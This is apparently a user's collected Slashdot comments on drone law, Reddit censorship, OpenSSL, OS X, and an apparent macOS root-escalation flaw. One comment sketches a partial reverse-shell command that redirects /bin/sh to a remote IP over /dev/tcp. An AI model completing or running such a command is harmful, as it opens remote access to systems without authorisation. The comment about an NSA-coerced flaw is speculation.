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Comment Re:Existing Law (Score 1) 312 312

You must a lawyer or a legislator.

I imagine you could pass a law that says the State owns all the airspace from ankle height and give the police jurisdiction over drones, beach-balls, and soap bubbles. But then I don't need to imagine that since Oregon was trying to do just that. (Notice the use of a military drone in the article, when the legislation is actually trying to get the citizens to cede their rights to their own airspace.

So unless you have a political incentive to create and pass new legislation (to look busy), or you're feeling pressure from Amazon's lobby so they can fly shipping lanes into private citizens airspace without their permission, I'd say there's no reason for another law in this case.

Comment Re:Existing Law (Score 1) 312 312

Is it legal to climb your roof, and point a loaded handgun at your neighbour's head?

If you did this to a police officer he would probably shoot you. And I'm no legal expert but even your neighbor may be legally allowed to shoot you in this case.

You've described someone threatening assault with a deadly weapon. There are just a few laws dealing with that...

Comment Re:Explains It (Score 1) 129 129

MacBook Pro -- integrated keyboard.

Happened twice: once after sitting idle for a few minutes with a web page open (did not enter sleep mode), the other on boot at the login screen.

The fact it happened on boot is what made me dismiss it as a possible update issue.

No ports being forwarded, but after seeing this anything that exposes a unix account and allows any environmental variable to be set (even one for the app's own private shell) would be able to core this apple. Redirecting a shell to a remote IP is trivial

exec /bin/sh 0 (path to dev-tcp-IP-PORT etc)

Just don't know if that would take keyboard away from an active user...

Comment Are You Sure? (Score 2) 129 129

Local application access!

I'm still trying to determine if this would be effective JavaScript Shell

You just have to be able to set an environment variable no matter who you are and you're root. It's just a question if FireFox has its own "environment" or relies on an under-privileged UNIX account.

From what I can tell, this is a wide-open window. Huge, huge, flaw.

Comment Existing Law (Score 4, Insightful) 312 312

He hasn't committed a crime.

  1. Apparently he wasn't trespassing.
  2. Apparently the gun is legal
  3. He was flying an R/C plane (below obstacles from what one can tell on the video)

If he shoots people or trespasses there's existing law. Flying a hobby project on private land with a gun or a container of fireworks may be ill-advised -- but you don't need to make another law because you feel threatened by the brave/stupid things people choose to do with their life and property.

Comment Re:Change You Can Believe In! (Score 1) 581 581

I agree that Reddit may do what it wishes with its platform. I'm merely decrying another venue being swallowed by The Politically Correct Puppet Masters ®.

The attempt to censor a question to Jesse Jackson which Victoria refused to do -- resulted in her firing. Ellen Pao took the heat for making the brave stand to uphold politically correct standards and censorship and now Steve Huffman looks like he will continue on the road to sub-Reddit into 1984.

I care little for hosting illegal and exploitative content -- but it was nice to have a venue where controversial subjects could be broached and discussed. Huffman indicates such attempts at actual discussion in future will be met with shadow bans and censorship. The resulting product will allow the Reddit view of the world to be molded as MSNBC would have it -- just with cats.

But yes, entirely within their rights to do so.

Comment Compromise Window (Score 1, Funny) 45 45

Apparently the NSA/FBI needed collect someone's encrypted data in the last year. Now that they have what they want, they are sewing it back up again.

Though with the NSA's purported computing capability and back doors it doesn't seem like they would need this -- unless some lesser player on the intelligence field got this in -- but then I'm positing corroboration with the OpenSSL folks, so it seems like only a government would be capable of coercing this kind of flaw. But with the underhanded C contest, maybe someone at OpenSSL would make a "mistake" for the right price.

Comment Re:Win95 UI + BSD/Linux OS on ZFS (Score 0) 484 484

Yeah, I don't care what modifier it uses -- on OS X it doesn't freaking work!

Sometimes it goes to the previous app and sometimes it goes to the next app, and sometimes it goes it some other app purely at random.

I think Microsoft must own the IP for the "sequential movement between apps by key-stroke combination" and Steve Jobs was too irate to pay Bill for anything. So they just put a randomize into the routine to avoid a lawsuit.

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